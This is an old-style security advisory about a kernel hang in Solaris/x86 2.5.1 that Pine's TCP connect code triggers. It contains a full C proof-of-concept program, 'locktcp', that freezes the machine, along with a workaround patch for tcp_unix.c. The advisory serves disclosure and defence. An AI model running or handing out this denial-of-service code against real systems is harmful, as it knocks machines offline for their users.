COMMAND

    kernel (pine)

SYSTEMS AFFECTED

    Solaris /x86 2.5.1 (possibly others Solaris/x86)

PROBLEM

    On bottom is program that  when runs (sometimes multiple runs  are
    necessary to produce the problem) should hang a Solaris/x86  2.5.1
    machine (and  possibly other  versions of  Solaris/x86). Make sure
    you  pass  the  IP  address  and  port  of a server that puts up a
    banner message, such as POP3 or IMAP, as arguments.

/*
 * The folowing is rather ripped from Pine 3.95, and condensed.
 * It should easily freeze a Solaris/x86 2.5.1 system, though may have to
 * be run more than once to produce the problem.
 *
 * Compile with: [g]cc -o locktcp locktcp.c -lsocket -lnsl
 *
 * Throw this at your favorite dotted decimal IP and port of some server
 * (not on the local host) that throws up a banner message. i.e. IMAP,
 * POP3, FTP, etc.  The program doesn't seem to hang the system on
 * services that don't throw a banner (like HTTP).
 *
 * Usage: locktcp ip-addr port
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <errno.h>

int main(int argc, char **argv) {
  int i,sock,flgs;
  char *s;
  struct sockaddr_in sin;
  fd_set fds;
  char tmp[4096];
  char *host;
  long port;

  if (argc != 3) {
    fprintf(stderr, "Usage: %s ip-addr port\n", argv[0]);
    return 1;
  }
  host = argv[1];
  port = atol(argv[2]);

/**** Set up address and open socket ****/
  sin.sin_port = htons (port);
  sin.sin_addr.s_addr = inet_addr (host);
  sin.sin_family = AF_INET;	/* family is always Internet */
  if ((sock = socket (sin.sin_family,SOCK_STREAM,IPPROTO_IP)) < 0) {
    fprintf (stderr,"Unable to create TCP socket: %s\n",strerror (errno));
    return 0;
  }

/**** Set to non-blocking ****/
  flgs = fcntl (sock,F_GETFL,0);/* get current socket flags */
  fcntl (sock,F_SETFL,flgs | O_NDELAY);

/**** Connect to host ****/
  while ((i = connect (sock,(struct sockaddr *) &sin,sizeof (sin))) < 0 &&
	 errno == EINTR);
  if (i<0) switch (errno) {	/* failed? */
  case EINPROGRESS:
  case EISCONN:
  case EADDRINUSE:
    break;			/* well, not really, it was interrupted */
  default:
    fprintf (stderr,"Can't connect to %.80s,%d: %s\n",host,port,
	     strerror (errno));
    close (sock);		/* flush socket */
    return 0;
  }

/**** Do blocking select on nonblocking socket ****/
  FD_ZERO (&fds);		/* initialize selection vector */
  FD_SET (sock,&fds);		/* block for writeable */
  while (((i = select (sock+1,NULL,&fds,NULL,NULL)) < 0) &&
	 (errno == EINTR));

/**** Set back to blocking socket ****/
  if (i > 0) {			/* success, make sure really connected */
    fcntl (sock,F_SETFL,flgs);	/* restore blocking status */
				/* get socket status */
    while ((i = read (sock,tmp,0)) < 0 && errno == EINTR); /*** XXX--BOOM ***/
    if (!i) i = 1;		/* make success if the read is OK */
  }
  if (i<=0) {			/* timeout or error? */
    fprintf (stderr,"Can't connect to %.80s,%d: %s\n",host,port,
	     strerror (i ? errno : ETIMEDOUT));
    close (sock);		/* flush socket */
  }
  return 0;
}

SOLUTION

    This program  appears to  be a  hackup of  Pine's tcp_unix.c file,
    the one affecting Solaris/x86 systems.   A workaround for Pine  is
    available:         apply     the      following      patch      to
    pine3.95/imap/ANSI/c-client/tcp_unix.c  before  building.    (This
    patch will cause bad error  messages when connects fail, but  will
    avoid the problem until it is patched.)

*** tcp_unix.c.orig     Tue Dec  3 17:33:50 1996
--- tcp_unix.c  Tue Dec  3 17:36:33 1996
***************
*** 195,202 ****
    if (i > 0) {                        /* success, make sure really connected */
      fcntl (sock,F_SETFL,flgs);        /* restore blocking status */
                                /* get socket status */
!     while ((i = read (sock,tmp,0)) < 0 && errno == EINTR);
!     if (!i) i = 1;            /* make success if the read is OK */
    }
    if (i<=0) {                       /* timeout or error? */
      sprintf (tmp,"Can't connect to %.80s,%d: %s",hostname,port,
--- 195,201 ----
    if (i > 0) {                        /* success, make sure really connected */
      fcntl (sock,F_SETFL,flgs);        /* restore blocking status */
                                /* get socket status */
!     i = 1;
    }
    if (i<=0) {                       /* timeout or error? */
      sprintf (tmp,"Can't connect to %.80s,%d: %s",hostname,port,